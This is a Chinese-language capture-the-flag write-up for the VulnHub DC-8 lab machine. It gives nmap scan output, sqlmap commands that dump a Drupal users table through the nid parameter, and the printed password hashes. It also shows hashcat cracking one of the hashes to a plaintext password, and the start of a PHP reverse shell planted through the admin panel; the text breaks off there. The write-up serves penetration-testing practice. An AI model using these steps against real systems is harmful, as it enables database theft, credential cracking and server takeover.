vulnhub靶机-DC8-Writeup

0x01 介绍

靶机地址：

https://www.vulnhub.com/entry/dc-8,367/

DESCRIPTION

DC-8 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

This challenge is a bit of a hybrid between being an actual challenge, and being a “proof of concept” as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.

The “proof of concept” portion of this challenge eventuated as a result of a question being asked about two-factor authentication and Linux on Twitter, and also due to a suggestion by @theart42.

The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.

You probably wouldn’t even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it’s definitely there and doing it’s job.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.

0x02 信息收集

nmap扫描ip

nmap -sP 172.16.89.0/24

发现ip：172.16.89.9，继续扫描

nmap -T5 -A -v -p- 172.16.89.9

扫描结果

Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-06 22:54 CST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Initiating NSE at 22:54
Completed NSE at 22:54, 0.00s elapsed
Initiating ARP Ping Scan at 22:54
Scanning 172.16.89.9 [1 port]
Completed ARP Ping Scan at 22:54, 0.02s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:54
Completed Parallel DNS resolution of 1 host. at 22:54, 0.00s elapsed
Initiating SYN Stealth Scan at 22:54
Scanning 172.16.89.9 [65535 ports]
Discovered open port 22/tcp on 172.16.89.9
Discovered open port 80/tcp on 172.16.89.9
Completed SYN Stealth Scan at 22:55, 5.53s elapsed (65535 total ports)
Initiating Service scan at 22:55
Scanning 2 services on 172.16.89.9
Completed Service scan at 22:55, 6.04s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 172.16.89.9
NSE: Script scanning 172.16.89.9.
Initiating NSE at 22:55
Completed NSE at 22:55, 0.46s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.03s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Nmap scan report for 172.16.89.9
Host is up (0.0013s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 35:a7:e6:c4:a8:3c:63:1d:e1:c0:ca:a3:66:bc:88:bf (RSA)
|   256 ab:ef:9f:69:ac:ea:54:c6:8c:61:55:49:0a:e7:aa:d9 (ECDSA)
|_  256 7a:b2:c6:87:ec:93:76:d4:ea:59:4b:1b:c6:e8:73:f2 (ED25519)
80/tcp open  http    Apache httpd
|_http-favicon: Unknown favicon MD5: CF2445DCB53A031C02F9B57E2199BC03
|_http-generator: Drupal 7 (http://drupal.org)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache
|_http-title: Welcome to DC-8 | DC-8
MAC Address: 00:0C:29:E9:F7:C1 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 199.639 days (since Sun Mar 21 07:35:43 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.30 ms 172.16.89.9

NSE: Script Post-scanning.
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.00s elapsed
Initiating NSE at 22:55
Completed NSE at 22:55, 0.01s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.96 seconds
           Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)

发现两个端口，22和80

0x03 渗透

浏览器登录，目标站点使用Drupal搭建

扫描目录，发现登陆界面：http://172.16.89.9/user，其他一些配置文件没有什么用

点击左侧连接发现存在参数nid

http://172.16.89.9/?nid=1

使用sqlmap扫描

sqlmap -u "http://172.16.89.9/?nid=1" --dbs
sqlmap -u "http://172.16.89.9/?nid=1" -D d7db --tables
sqlmap -u "http://172.16.89.9/?nid=1" -D d7db -T users --dump

发现admin和john密码hash

$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

使用hashcat跑一下

echo "\$S\$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z" > dc8_pass.txt
echo "\$S\$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF" >> dc8_pass.txt
hashcat -m 7900 -a 0 dc8_pass.txt /usr/share/john/password.lst -o result.txt --show

跑出了john的密码turtle，在http://172.16.89.9/user下登陆，后台有一个设置php代码的地方

设置php回弹shell代码，在表单提交时触发

aaa
<?php

set_time_limit (0);